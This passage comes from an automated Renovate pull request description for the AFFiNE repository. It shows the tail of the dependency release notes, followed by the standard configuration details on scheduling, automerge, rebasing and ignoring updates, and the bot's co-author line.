[@​Akokonunes](https://redirect.github.com/Akokonunes) - Updated several development dependencies and CI workflow actions </details> --- ### Configuration 📅 **Schedule**: (UTC) - Branch creation - At any time (no schedule defined) - Automerge - At any time (no schedule defined) 🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied. ♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about this update again. --- - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box --- This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE). <!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0NC4xMzQuMSIsInVwZGF0ZWRJblZlciI6IjQ0LjEzNC4xIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==--> Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com> |